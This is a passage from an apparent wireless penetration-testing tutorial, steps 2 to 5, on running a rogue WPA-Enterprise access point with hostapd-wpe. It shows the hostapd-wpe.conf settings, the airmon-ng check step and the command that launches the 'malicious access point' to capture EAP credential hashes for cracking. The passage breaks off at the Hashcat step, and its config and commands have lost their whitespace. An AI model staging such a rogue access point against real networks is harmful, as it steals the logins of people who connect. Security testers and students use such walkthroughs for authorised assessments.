2. Modify the hostapd-wpe.conf file, ensuring to modify the ssid variable:
nano/etc/hostapd-wpe/hostapd-wpe.conf## hostapd-wpe.conf# Brad Antoniewicz (@brad_anton) - Foundstone# ------------------------------------------------## Configuration file for hostapd-wpe# # General Options - Likely to need to be changed if you're using this# Interface - Probably wlan0 for 802.11, eth0 for wiredinterface=wlan0# Driver - comment this out if 802.11#driver=wired# May have to change these depending on build locationeap_user_file=hostapd-wpe.eap_userca_cert=../../hostapd-wpe/certs/ca.pemserver_cert=../../hostapd-wpe/certs/server.pemprivate_key=../../hostapd-wpe/certs/server.pemprivate_key_passwd=whateverdh_file=../../hostapd-wpe/certs/dh# 802.11 Options - Uncomment all if 802.11ssid=hostapd-wpehw_mode=gchannel=1
3. Kill problematic processes such as wpa_supplicant which may interfere with our access point:
sudoairmon-ngcheck
4. We can then run our malicious access point and wait for connections:
hostapd-wpe/etc/hostapd-wpe/hostapd-wpe.conf
5. Upon receiving a connection we can attempt to crack the hash provided using Hashcat: